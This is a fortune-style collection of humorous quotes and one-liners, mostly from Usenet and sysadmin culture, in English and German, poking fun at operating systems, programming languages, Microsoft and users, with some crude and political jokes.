"I consider sendmail.cf to be an uneditable binary file and you should
too." -- Eric Allman
%
"Behold the warranty ... the bold print giveth and the fine
print taketh away." -- fortune file
%
"Oh, Bother," said the Borg. "We've assimilated Pooh."
%
Reporter (to Mahatma Gandhi): Mr Gandhi, what do you think of Western
Civilization? Gandhi: I think it would be a good idea.
%
"Hey, who needs networking when you can leverage your web-appliance's
horizontally integrated meta-synergies to create diverse B2B e-hub
relationship revenue models dot com." -- John Ineson
%
ignorami: n: The BOFH art of folding problem lusers
into representational shapes.
%
"If the Buddha sends you a TCP packet, winnuke him." -- Alan J Rosenthal
%
IBM: It may be slow, but it's hard to use. -- Simon Cozens
%
*Nobody* expects the Spanish haiku. Our weapons are fear, uncertainty,
and doubt -- five syllables. And a fanatical devotion to Bill Gates.
Seven syllables. No, not Bill Gates. Five syllables. -- Alan J Rosenthal
%
Remember the signs in restaurants "We reserve the right to refuse
service to anyone"? The spammers twist it around to say "we reserve
the right to serve refuse to anyone." -- SPAMJAMR & Blackthorn in nanae
%
Wir packen jetzt alle die Nuklearsprengköpfe, die uns die Mizzi-Tant
letzte Weihnachten geschenkt hat, aus und lassen im Usenet so richtig
die Schwammerln aufsteigen. -- Albert Köllner erklärt at.usenet
%
void russian_roulette(void) { char *target; strcpy(target, "bullet"); }
-- Simon Cozens or Thorfinn
%
"Space Aliens ate my UNIX compatibility!" -- cm about AIX
%
See, what they didn't tell you in Terminator 2 is that Sky-Net was
originally designed to handle helpdesk calls. No wonder it went nuts
and tried to kill us all. -- Ed R. Zahurak
%
"I'm not sure if this is a good or a bad thing. Probably a bad thing;
most things are bad things." -- Nile Evil Bastard
%
MSTD, n: MicroSoft Transmitted Disease. Propagates only due to Microsoft's
insistence on distributing [software] that resembles Petri dishes.
-- www.everything2.com
%
"The Unix phenomenon is scary. It doesn't go away." -- Steve Ballmer
%
Fachbegriffe der Informatik, Zertifiziernung: Ein Geschäftsmodell, das heisse
Luft zu Papier verdichtet und dann gegen Währung tauscht. -- Jörg Dorchain
%
Fachbegriffe der Informatik, Synergieeffekt: Reibungsverluste. -- Uwe Ohse
%
Fachbegriffe der Informatik, GNU: GNU is Not Useful, ohne Windows
oder Linux darunter. -- Uwe Ohse
%
Fachbegriffe der Informatik, Admin: Die wo machen, daß das Internet geht,
aber die man nicht fragen darf, wenn es um ein klemmendes Word geht, da
sonst das Internet an meinem Rechner wieder nicht geht, weil die dann
stinkewütend werden. -- Bernd Jürgens
%
Fachbegriffe der Informatik, Updateitis: Softwarebulemie -- Frank Klemm
%
Fachbegriffe der Informatik, Deprecated:
Funktioniert auch auf alten Systemen -- Ulrich Schwarz
%
Fachbegriffe der Informatik, Firewall: Firewalls schützen vor Viren,
Trojanern, Kettenbriefen und Taubenscheiße auf dem Autodach. -- Martin Schmitt
%
Fachbegriffe der Informatik, SUN recommended patches: Mit den Patches ist
es wie mit dem Bier nach einer durchzechten Nacht. Einer wird wohl
schlecht gewesen sein. -- Meldung der Uni Jena
%
Fachbegriffe der Informatik, SMD: Schwer Montierbare Dinger -- Holger Köpke
%
Fachbegriffe der Informatik, Gigabit-Ethernet-PC-Karte: Warum wollen Sie
einen mannshohen Abwasserkanal für Ihr Privathaus? So schnell können Sie
gar nicht kacken! -- Hans Bonfigt
%
Fachbegriffe der Informatik, Strong international Encryption:
Triple-ROT13 -- Carsten Lechte
%
Fachbegriffe der Informatik, Gesundbooten: Das Allheilmittel für jegliche
Probleme, die auf, mit und um Windows auftauchen. -- Holger Marzen
%
Fachbegriffe der Informatik, Usenet: Diktatur von Newsserverbetreibern,
die größtenteils auf das nörgelnde Volk hört (so es sich denn einig ist).
-- Cornell Binder
%
Fachbegriffe der Informatik, Googlehupf: Abstand zwischen zwei Suchergebnissen
%
Fachbegriffe der Informatik, Shockwave Flash: Augenkrebs -- FvL
%
Fachbegriffe der Informatik, Softwarewartung: Flags putzen, Strukturen
nachrichten und Variablen mit Öl auffüllen -- Hans Bonfigt
%
Fachbegriffe der Informatik, Usenet: Usenet ist die schnellste Art,
sich global zum Deppen zu machen. -- Lutz Donnerhacke
%
Fachbegriffe der Informatik, HTTP:
Hot Tits Transport Pr0nocol. -- Ulrich Schwarz
%
Fachbegriffe der Informatik, 99.9%: Lüge. -- Uwe Ohse
%
A train station is where trains stop. A bus station is where busses stop.
A Work Station is where...
%
perl -le '$b=1; print $a+=$b while print $b+=$a'
%
"I still think -vomit-frame-pointer needs to be a legal argument to gcc."
-- Anthony de Boer
%
Godwin: vmunix.asp -- Peter Gutmann
%
"Militant *BSD users are frequently in favour of gnu control." -- Nix
%
We are MAPS dot Borg. Prepare to have you antispam work assimilated.
%
"You know you're too anal when you're planning on colour-coding your
bondage ropes by length... using the resistor code." -- Graham Reed
%
Niklaus Wirth has lamented that, whereas Europeans pronounce his name
correctly, Americans invariably mangle it into "Nick-les Worth". Which is
to say that Europeans call him by name, but Americans call him by value.
%
"99% der österreicher sind deppen." -- adi pinter
%
Das liegt daran, dass Webdesigner zur Sicherheit ein Verhältnis haben wie
Klaus Störtebeker zum Handelsrecht. -- Burkhard Schröder
%
"AOL would be a giant diesel-smoking bus with hundreds of ebola victims on
board throwing dead wombats and rotten cabbage at the other cars"
-- a.s.r throws the Information Superhighway metaphor into reverse.
%
"They that can give up essential liberty to obtain a little temporary
safety deserve neither liberty nor safety." -- Benjamin Franklin
%
Kind of like my 404K fund, "wealth not found." -- shrox
%
"I can't see any data coming out of this Tolkien Ring card."
"Well of course not, it confers invisibility." -- Anthony de Boer
%
"Rejecting all mail that has a MAIL FROM:<> reduces the amount of spam
you get. So does rejecting all email that contains the letter "e"."
-- Jacob W. Haller
%
"...an ancient Honeywell mainframe named Linda Lovelace. Explained its
operator, 'She doesn't care where, when, or on whom she goes down.'"
-- Lee Ann Goldstein
%
"Of course using a Mac is like cunnilingus; there is only one button and
you need to fiddle it a lot." -- Par Leijonhufvud
%
The moving cursor writes, and having written, blinks on. -- BSD fortune file
%
You possess a mind not merely twisted, but actually sprained.
-- BSD fortune file
%
"The Computer made me do it." -- BSD fortune file
%
The problem with the gene pool is that there is no lifeguard. -- BSD fortune
Nah, the problem is that it doesn't have enough chlorine. -- Lionel in ASR
It also lacks an undertow for the weak ones. -- Joe Creighton in ASR
%
"I wish there was a knob on the TV to turn up the intelligence.
There's a knob called `brightness', but it doesn't work." -- Gallagher
%
Our OS who art in CPU, UNIX be thy name.
Thy programs run, thy syscalls done, in kernel as it is in user!
-- BSD fortune file
%
Penguin Trivia #46: Animals who are not penguins can only wish they were.
-- Chicago Reader 10/15/82
%
"The first rule of magic is simple. Don't waste your time waving your
hands and hoping when a rock or a club will do." -- McCloctnik the Lucid
%
To err is human, to moo bovine. -- BSD fortune file
%
It's is not, it isn't ain't, and it's it's, not its, if you mean it is. If
you don't, it's its. Then too, it's hers. It isn't her's. It isn't our's
either. It's ours, and likewise yours and theirs. -- Oxford Uni Press
%
The problem with people whose minds are in the gutter is that they keep
blocking my periscope. -- Peter Gutmann
%
C++ protects you against Murphy, not Machiavelli. -- Damian Conway
%
"You are in a maze of twisted sysadmins, all different."
-- Ben Aveling, in and about the scary.devil.monastery
%
I can see an opening for the Four Lusers Of The Apocalypse...
"I didn't change anything", "My e-mail doesn't work", "I can't print" and
"Is the network broken?". -- Paul Mc Auley
%
"Now that I think of it, O'Reilly is to a system administrator as a shoulder
length latex glove is to a veterinarian." -- Peter da Silva
%
RedHat Adventure: "You're in a maze of twisted little packages, all dependent.
There's a threatening little Gnome in the room with you."
-- Peter Dalgaard
%
"Tauntology: one of the BOFHish fine arts" -- Rik Steenwinkel
%
"PEZ educates the children as well. Break the neck of something cute,
and you get something good to eat." -- Stig Sandbeck Mathisen
%
"It's 106 light-years to Chicago, we've got a full chamber of anti-matter,
a half a pack of cigarettes, it's dark, and we're wearing visors."
"Hotsync." -- Paul Tomblin & Peter da Silva
%
"Usenet is like a herd of performing elephants with diarrhea -- massive, dif-
ficult to redirect, awe-inspiring, entertaining, and a source of mindboggling
amounts of excrement when you least expect it." -- Gene Spafford (1992)
%
Sun is the Microsoft of UNIX vendors: wildly successful despite the
most anemic bloody products. -- Rev. Peter da Silva
%
"My place of work has certainly heard of karoshi.
They think it's a good idea." -- Dave Brown
%
About the use of language: it is impossible to sharpen a pencil with a blunt
ax. It is equally vain to try to do it with ten blunt axes instead.
-- Dijkstra
%
As in certain cults it is possible to kill a process if you know its true name.
-- Ken Thompson and Dennis M. Ritchie
%
Behind every great computer sits a skinny little geek.
%
COBOL is for morons. -- Dijkstra
%
You're never alone with a news spool.
%
Apr 13 11:05:20 apollo13 fsck[3927]: root, we have a problem.
-- Jeff Gostin
%
So what if I have a fertile brain? Fertilizer happens. -- Larry Wall
%
Ah the joys of festival + Gutenburg project. I can now have Moby Dick
read to me by Stephen Hawking. -- Halfjack
%
"Mary had a little key,/She kept it in escrow/And everything that Mary
sent/The Feds were sure to know." -- Sam Simpson
%
"She called her parakeet Onan because he always spilled his seed on the
floor." -- ?
%
"The biggest crime of all that [Microsoft] commits is getting people
accustomed to huge, slow, unstable software as the norm." -- Jay Maynard
%
"This `telephone' has too many shortcomings to be seriously considered as a
means of communication. The device is inherently of no value to us."
-- Western Union internal memo, 1876.
%
...the freezer is full, and the body in the bathtub is starting to decompose.
-- Tanuki on spammers
%
...wild Colostomy lurk dangerously in the trees, while out on the prairie,
large herds of chocolate brown Bulimia graze contentedly... -- Tanuki
%
:q :q! :wq :w :w! :wq! :quit :quit! :help help helpquit quit quithelp
:quitplease :quitnow :leave :shit ^X^C ^C ^D ^Z ^Q QUITDAMMIT ^]:wq
%
> Hi, my name is Rebecca, and I'm a computing whore. -- Rebecca Gray
If I pay you twenty bucks, will you blow my EPROM? -- Joe
%
>> Cf. those boxes of serial that are only half full.
>Special offer on breakfast serial today! Buy seven, get one free!
No added parity! With a *free* stop bit! -- Bram Smits, Malcolm Ray & Lionel
%
[...] followed by a late-night visitation from the Clue Police (with
their shoulder-length latex gloves and chilli-oil enemas...)
-- Pete Morgan-Lucas
%
[Discordianism is] a shadowy, formless anarchoterrorist cult ... a cancer
which has spread widely all over the Information Superhighway. ... its
tentacles reach everywhere. -- Concerned Citizens for a Safe Internet
%
Ah, young webmaster... java leads to shockwave.
Shockwave leads to realaudio. And realaudio leads to suffering.
%
Aibohphobia: n. Fear of Palindromes
%
All that blue light from Orthanc at night? That was
Saruman, trying to moderate
-- news.admin.palantir-abuse.sightings.
%
All that glitters has a high refractive index.
%
Any product designed to lure those who would not normally use it is guaranteed
to be a total wanker of a product. -- Lamont Lucas
%
As a software development model, Anarchy does not scale well.
-- Dave Welch
%
But these are not inherent flaws in [NT]. They are the result of deliberate
and well-thought-out efforts. -- M$ Spokesweenie
%
By 2000 we were supposed to have computers bright enough to argue
with us, but that doesn't mean the way Word does it. -- Jo Walton
%
Chastity: The most unnatural of the sexual perversions.
-- Aldous Huxley
%
Cray Chicken: Crosses faster than any other chicken, but if you don't dip
it in liquid nitrogen first, it arrives on the other side fully cooked.
%
Didn't bother to check the brand of disks -- with IDE, that's like attempting
to differenetiate between a Yugo and a Trabi. -- Brad Ackerman
%
Don't drop dead. Do, please, drop seriously, painfully, disablingly,
repulsively, incurably, but _not_ fatally ill. -- Mike Andrews
%
Freedom means being able to say 2+2=4. -- _1984_, George Orwell
%
Sun bug report (#4102680): "Workaround: don't pound on the mouse
like a wild monkey."
%
Hal, open the file Hal, open the damn file, Hal open the, please Hal
%
Outside of a dog, a book is a man's best friend.
Inside of a dog, it's too dark to read. -- Groucho Marx
%
The Internet is totally out of control, impossible to map accurately, and
being used far beyond its original intentions. So far, so good.
-- Dr. Dobb's Journal May 1993
%
The OSI seven-layer stack does not appear to have been invented by the
followers of Zen. A cornerstone of Zen is the focusing on reality and the
avoidance of misleading conceptual abstractions. -- Alex Gillespie
%
Yes, but they forgot to put in the essential checkbox:
I am not a brain-damaged lemur on crack. -- Mark Hughes
%
You should never anthropomorphize computers; they hate that. -- Skud
%
Top-posting is the computer equivalent of mailing a letter glued
to the *outside* of an envelope, with a stamp attached via paper clip.
-- Xcott Craver
%
"Asking me to deal with NT is on a par with asking a heart surgeon to de-worm
your dog." -- Lionel
%
"If you think you can have a nice network with ms-windows machines on it, you
haven't run tcpdump yet." -- Alan Rosenthal
%
Like the autumn leaves
wu-FTPD updates;
I seek warm safety. -- Anthony de Boer
%
"SPARC" is "CRAPS" backwards -- Rob Pike
%
Kindermund: Wenn man kranke Kühe isst, kriegt man ISDN.
%
Kindermund: Ein Pfirsich ist wie ein Apfel mit Teppich drauf.
%
Kindermund: Die Fischstäbchen sind schon lange tot. Die können nicht mehr
schwimmen.
%
"The Two Phases Of University Employment:
1. Doesn't know enough to get a Real Job.
2. Knows too much to want a Real Job." -- sharks
%
There are only 10 kinds of people in the world --
Those who understand binary, and those who don't." -- ?
%
Tech Support: The guys who follow the 'Parade of New Products'
with a shovel. -- Jay Mottern
%
[Seedless consumer fruits] really have imaginary seed. If you rotate a
seedless fruit 90°, you get a fruitless seed. This can provide hours of fun.
-- Erik Naggum
%
"Bush, Ashcroft, Rumsfeld: The Axis of Idiocy". (somewhere on IRC)
%
"Debian's glibc packages break binary compatibility every day of the
week because some people yank on CVS HEAD like bukkake guest stars."
-- Branden Robinson
%
RFC1925: "With sufficient thrust, pigs fly just fine. However, this is not
necessarily a good idea. It is hard to be sure where they are going to land,
and it could be dangerous sitting under them as they fly overhead."
%
Debian: when you have better to care about than what CPU is in the box.
-- Bill Allombert
%
"Sorry, we don't support the worship of gods on this list, we only
support the worship of penguins."
"what about us agnustics?" -- Russell Coker and Graham Wilson
%
"So instead, I toil through fields of various OSes, planting applications,
spraying patches to catch the bugs, and watching the databases grow."
-- D. Joseph Creighton
%
(setq wq "This is emacs, not vi") -- Ingvar
%
"[Perl] isn't a programming language, it's a thousand special
case rules flying in close formation." -- Peter da Silva
%
"BSD and UNIX are different operating systems <pause>
if you're a lawyer." -- Greg Lehey
%
I think that I shall never see -- A structure ugly as a tree.
From leaf to leaf I wish to leap -- From branch to root to branch I creep.
-- Ode To Menu Systems, Richard A. Fowell
%
To clean and uninfected by the Empire remain, Emacs you use must.
-- Tollef Fog Heen
%
"There's nothing worse than major packetloss in one's underwear."
-- Jonathan Dursi
%
"Ein Blitzableiter auf einem Kirchturm ist das denkbar stärkste
Mißtrauensvotum gegen den lieben Gott." -- Karl Kraus
%
"Multimegabyte core dumps rain down upon the NFS server
like giant rancid waterbuffalo." -- Steve VanDevender
%
"It's a pity that punched card equipment is now almost all gone. There's
nothing better for grabbing a tie and breaking the wearer's neck."
-- Mike Andrews
%
Lisp has all the visual appeal of oatmeal with fingernail clippings
mixed in. -- Larry Wall
%
If Java had true garbage collection, most programs would delete
themselves upon execution. -- Robert Sewell
%
C treats you like a consenting adult. Pascal treats you like a naughty
child. Ada treats you like a criminal. -- Bruce Powel Douglass
%
"Java is, in many ways, C++--." -- Michael Feldman
%
Perl is like vise grips. You can do anything with it but it is
the wrong tool for every job. -- Bruce Eckel
%
C++ is history repeated as tragedy. Java is history repeated as farce.
-- Scott McKay
%
Arguing that Java is better than C++ is like arguing that grasshoppers
taste better than tree bark. -- Thant Tessman
%
Java: the elegant simplicity of C++ and the blazing speed of Smalltalk.
-- Jan Steinman
%
Like the creators of sitcoms or junk food or package tours,
Java's designers were consciously designing a product for people
not as smart as them. -- Paul Graham
%
Q: What's the difference between George W. Bush and Hitler?
A: Hitler was elected.
%
"Pest Version5! Jetzt mit extra großen Beulen!"
-- Jürgen Nieveler über Notes R5
%
And God spoke: There shall be packets.
And there were packets, and these packets were good, mostly. -- G.S. Granados
%
"...the nam-shub of Ousterhout." -- Malcolm Ray about Tcl
%
"People who love sausages, respect the law, and work with IT standards
shouldn't watch any of them being made." -- Peter Gutmann
%
flailover systems: when one goes down, it flails about until the
other goes down with it. -- Rodger Donaldson
%
superglue works better on cats than paste. it sets much faster which is
important when you are gluing a cat. -- John W. Krahn about 'cat-and-paste'
%
The terrorists have won. They have successfully convinced America to
attack itself. -- Steve Kirsch
%
<form><input></form>-- IE has a bad day.
%
"The equivalent of treating dandruff by decapitation"
-- Frank Zappa on the Parents Music Resource Center' censorship plans
%
"Der Pampers-Content ergänzt den AOL Women-Channel um
spannende und nützliche Inhalte." -- aol.de pressemitteilung
%
Where a calculator on the ENIAC is equipped with 18,000 vacuum tubes and
weighs 30 tons, computers in the future may have only 1,000 vacuum tubes
and weigh only 1 1/2 tons. -- Popular Mechanics, March 1949
%
A successful sysadmin must accept no limits on his laziness.
-- Peter da Silva
%
Consider the set of blacklists that do not blacklist themselves...
-- David Richerby on blacklisting blacklists
%
"Die Majorität der Dummen ist unüberwindbar und für alle Zeiten
gesichert." -- Albert Einstein
%
"You are SUCH a useless use of a constant." -- flannelcat
%
"I am truly free only when all human beings, men and women,
are equally free." -- Mikhail Bakunin
%
"It's bad civic hygiene to build an infrastructure that can be used to
facilitate a police state." -- Bruce Schneier
%
"Zeilen muessen scrollen fuer den Sig." -- Christian Pree
%
"Die Bandbreite steigt in Gasblasen aus der Sargassosee und wird von
dort in Ethernetkabel gefüllt." -- Dirk Moebius
%
Minds are like paragliders. They work best when open.
%
In German, a young lady has no sex, while a turnip has. Think what
overwrought reverence that shows for the turnip, and what callous
disrespect for the girl. -- Mark Twain
%
Doing linear scans over an associative array is like trying to club
someone to death with a loaded Uzi. -- Larry Wall
%
<reverend>IRC is just multiplayer notepad.
%
<pornosaur>mom gave me one of those plants you can't kill
<pornosaur>I think it commited sucicide
%
<malaclypse>The general rule on about people on IRC seems to be
"Attractive, single, mentally stable: choose two"
%
FREEDOM IS SLAVERY. USAGE IS DOGMA. ERASE IS BACKSPACE.
-- Peter da Silva
%
An editor is a tool for saving programmer-bukkake to disk.
-- Anthony de Boer
%
"Als ob man einem toten Schaf die Augen eindrückt"?
-- Kristian Köhntopp über das Schreibgefühl von Atari Tastaturen
%
"I've tried to convince many vegetarian friends that chicken are just
fast-moving vegetables." -- Simon Cozens
%
Give a fool a tool and he has a weapon.
%
Good, Fast, Cheap: Pick any two (you can't have all three). -- RFC 1925
%
Fachbegriffe der Informatik, Interaktives Fernsehen: Fernsteuerung mit
Taste 'Bezahlen' statt 'Aus'. ('Standpay'-Taste) -- nach Peter Berlich
%
Fachbegriffe der Informatik, Stabilität: 200 Studenten der
Informatik-Anfängerübung auf einer Maschine nachdem die Vorlesung
'fork()' behandelt hat. -- David S. Miller
%
Fachbegriffe der Informatik, Hot plugable:
Glüht beim Einstecken auf -- Martin Neumann
%
Fachbegriffe der Informatik, CIDR:
Die dezimale Quersumme der binären Repräsentation der Netzmaske. -- Aldo
%
Fachbegriffe der Informatik, Telefon: Gerät, das die Person am anderen
Ende der Leitung bescheuert macht. (Funktioniert in beide Richtungen)
%
Fachbegriffe der Informatik, Debugging:
Der Mythos vom deterministischen System. -- Lutz Donnerhacke
%
Fachbegriffe der Informatik, Strategische Software:
Es gibt keine Gründe für einen Einsatz, außer dem Willen
der Geschäftsleitung. -- Holger Marzen
%
Fachbegriffe der Informatik, E-Learning:
Feststellung, daß Strom weh tut. -- Oliver Schad
%
Fachbegriffe der Informatik, Putzfrau: Nicht absichtlich bösartig
handelnde Person ohne Entscheidungsgewalt -- Bodo Eggert
%
Fachbegriffe der Informatik, Urinstinkte:
Mail ... News ... Dilbert -- Lars Marowsky-Bree
%
Fachbegriffe der Informatik, Push:
Das Notebook mit der flachen Hand vom Tisch schlagen.
-- http://www-605.ibm.com/misc_includes/en_SG/drop_test.pdf
%
Fachbegriffe der Informatik, Pull:
Das Notebook ruckartig am Kabel vom Tisch ziehen.
-- http://www-605.ibm.com/misc_includes/en_SG/drop_test.pdf
%
Fachbegriffe der Informatik, aktives Medium:
Die Existenz von Spam heißt, daß ein Medium noch lebt. -- Felix von Leitner
%
Fachbegriffe der Informatik, zukunftsfähiges Medium:
Die Existenz von Pr0n heißt, daß ein Medium Zukunft hat. -- Felix von Leitner
%
Fachbegriffe der Informatik, HTTP:
Hot Tits Transport Pr0nocol. -- Ulrich Schwarz
%
Fachbegriffe der Informatik, Debian Hardening:
Rigor Mortis. -- Felix von Leitner
%
Fachbegriffe der Informatik, Halflife-Server:
Server, der nur halb lebt. Kurz: IIS. -- Andreas Dau
%
Fachbegriffe der Informatik, Echtzeit:
Selbst einfachste Operationen brauchen echt Zeit. -- Stefan Reuther
%
Fachbegriffe der Informatik,Forum: Verschwörungstheorieaustauschplatz
für Leute ohne jedwede Ahnung. -- Andreas Beck
%
Fachbegriffe der Informatik, Recht:
internet-freier Raum. -- Hartmut Pilch
%
Don't ReBoot, BeRoot. -- adb
%
"symlinks ... the goto of the file system world." -- David Tilbrook
%
> hence the AIX boxen of increasing power [...]
That phrasing reminded me of "Rodents of Unusual Size".
-- Mike and Greg Andrews
%
Was ist der Unterschied zwischen einem Politiker und einem Telefonhörer?
Einen Telefonhörer kann man aufhängen, wenn man sich verwählt hat.
-- Dieter Nuhr
%
"[pause. too long pause]
SIGINT SIGINT SIGINT FUCKFUCKFUCK" -- Nix is having a near-death experience
%
"for thing in $(fnord $(frob $(./gazonk foo bar baz bletch thud grunt))); do
zot --wodchuck ${thing}; done"
-- Stig Sandbeck Mathisen making a point about the beauty of shell scripts
%
"If you want sympathy, look in the dictionary; it's between sex and
syphilis." -- Joe Zeff
%
REAL*8 RESPONSE(8)
DATA /RESPONSE/ 8HYOU EVER,8H DONE IT,8H IN FORT,8HRAN IV?$
-- Peter da Silva about the joys of string handling
%
If you have any trouble sounding condescending, find a Unix user
to show you how it's done. -- Scott Adams
%
Now that we have all this useful information, it would be nice to be able
to do something with it. (Actually, it can be emotionally fulfilling just
to get information. This is usually only true, however, if you have the
social life of a kumquat.) -- UNIX Programmer's Manual
%
What would you rather have to plow a field - two strong oxen
or 1,024 chickens? -- Seymour Cray
%
Saying that XP is the most stable MS OS is like saying that
asparagus is the most articulate vegetable. -- Dave Barry
%
One of the main advantages of Unix over, say, MVS, is the
tremendous number of features Unix lacks. -- Chris Torek
%
Although the Buddhists will tell you that desire is the root of suffering,
my personal experience leads me to point the finger at system administration.
-- Philip Greenspun
%
That's like building a fire escape out of balsa-wood and painting it with
thermite. -- Peter da Silva on writing scripts in csh
%
You can have my Unix system when you pry it from my cold, dead fingers.
-- Simon Cozens (but I'd say the same!)
%
<alanna>Saying that Java is nice because it works on all OS's is like
saying that anal sex is nice because it works on all genders.
%
The social dynamics of the net are a direct consequence of the fact
that nobody has yet developed a Remote Strangulation Protocol.
-- Larry Wall
%
The US exports democracy with rootsquash, ro, and other serious
limitations on the foreign users. -- Anthony de Boer
%
Ah, a Uniform Type Identifier, not a Urinary Tract Infection. Though,
reading further in this document I found, I'm not sure there's too
much of a difference. -- Jed Davis
%
"I would love to see someone riding a nuke and waving his cowboy hat on
the way down to Yahoo!." -- Steve VanDevender
%
This is why websites popular after 19100, such as My Space, appear to
have been designed on an etch-a sketch. -- Uncyclopedia
%
The idea is that RAID stands for Redundant Array of Inexpensive Dreck.
-- Anthony de Boer
%
Syntactic sugar causes cancer of the semicolon. -- Alan Perlis
%
MASER, n.: Mail Amplification by Stimulation of Emitted Rejections
-- Steve VanDevender, Patrick Wade
%
"I can type faster than I can point. And my mother told me that pointing
is impolite." -- Andrew S. Tanenbaum dislikes WYSIWYG
%
#define sizeof(x) rand() -- Dark_Brood
%
I have the diesel-powered Plonkulator warmed up. -- rone
%
"We all live in a yellow subroutine,
a yellow subroutine,
a yellow subroutine" -- Shmuel (Seymour J.) Metz
%
Object-oriented design is the roman numerals of computing. -- Rob Pike
%
When in doubt, use brute force. -- Ken Thompson
%
POSIX is just an abbreviation (or acronym) for Piece Of Sh*t *ix.
-- Mike Andrews
%
The best performance improvement is the transition from the nonworking
state to the working state. -- John Ousterhout
%
Technology is dominated by two types of people: Those who understand
what they do not manage. Those who manage what they do not understand.
-- Putt's Law
%
"Haushaltsvorstand ist immer der, der das Häusl *nicht* putzt."
-- BeST und/oder Anuschka zur letzten .at Volkszaehlung
%
Happiness is the maximum agreement between reality and desire.
-- Joseph Stalin
%
@{$gst}{keys %{$rec}} = values %{$rec}; # muhahahaha
-- dailywtf.com
%
"First let me say that this is a very difficult document to write
without sounding pejorative." -- an unnamed network consultant's report
%
If you can't build it with 2N3055's, it's not worth building. -- Peter Gutmann
%
Buchen sollst du suchen, Bei den Eiben kannst du speiben. -- Gunkl
%
Zum schönsten, was zwischen Menschen entstehen kann,
zählt zweifellos die Distanz. -- Gunkl
%
I keep six honest serving-men - (They taught me all I knew);
Their names are What and Why and When - And How and Where and Who
-- Kipling
%
Gratitude is a disease of dogs. -- Joseph Stalin
%
"Having to infer what Unix is solely from a copy of the GNU Manifesto
is not really an exercise you want to undertake." -- AdB
%
"High fat emulsified offal tube", thank y'very much. -- Lionel about sausage
%
"The most amazing achievement of the computer software industry is its
continuing cancellation of the steady and staggering gains made by the
computer hardware industry." -- Henry Petroski
%
ISO Water Torture: ...ploughing through all sorts of ISO, ANSI, ITU,
and IETF standards and other working documents, some of which are best
understood when held upside-down in front of a mirror. -- Peter Gutmann
%
if God really existed, it would be necessary to abolish him.
-- Mikhail Bakunin
%
'Glaube' heißt Nicht-wissen-wollen, was wahr ist.
-- Friedrich Nietzsche
%
Die Freiheit besteht darin, daß man alles tun kann,
was einem anderen nicht schadet. -- Arthur Schopenhauer
%
Programming is like sex: One mistake and you're providing support for
a lifetime. -- ?
%
I just hate to be pushed around by some fucking machine.
-- Ken Thompson
%
Being a social outcast helps you stay concentrated on the really important
things, like thinking and hacking. -- Eric Raymond
%
Every bit is sacred, Every bit is right.
If a bit is wasted, I can't sleep at night.
Every bit is gorgeous, Every bit is free.
Admire the shape it forges, In hex and BCD!
%
The number of UNIX installations has grown to 10, with more expected.
-- UNIX Programming Manual, 1972
%
Perl: The only language that looks the same before and after RSA encryption.
-- Keith Bostic
%
>We're talking about a bleeding mainframe, mate.
It's got hemoglobin in its fluorinert?
-- Peter da Silva and AdB
%
Commercial televsion is like deliberately sticking hat pins through your
frontal lobes most of the time. -- Rebecca Ore
%
We know that strict ID laws will stop terrorism, because they have such
laws in Spain, which has never suffered any train bombings. -- Ted Schuerzinger
%
IBM - "Internally Blackened Machines" -- Bob Vaughan about PSU failures
%
Networks are like sewers: my job is to make sure your data goes away when
you flush, and to stop the rats climbing into your toilet through the pipes.
-- Tanuki describes network administration
%
"I thought banging luser heads on rocks was how we originally
got zeroes." -- Steve VanDevender
%
"Alas I've yet to find a gig which offers "control of Orbital Anvil
Delivery System at weekends" as a fringe-benefit." -- Tanuki
%
I halve a spelling chequer - It came with my pea sea -
It plane lee marques four my revue - Miss steaks aye ken knot sea
-- J.S. Tenn, Owed to a Spell Chequer
%
What "TINY BEAST DRILL" is I can only ponder, but hey! I could really do
with the services of an exterminator that deals with infestations of
AWKWARD PEOPLE. -- Tanuki enjoys auto-translated spam
%
"Qrovna: I still think that this sounds like a dodgy Slovenian liqueur
derived from mouldy potatoes and tractor-fuel, and best drunk by other
people whom you don't like very much." -- Roger Burton West on ROT13(Debian)
%
"Trying to make digital files uncopyable is like trying to make
water not wet." -- Bruce Schneier

, Mike

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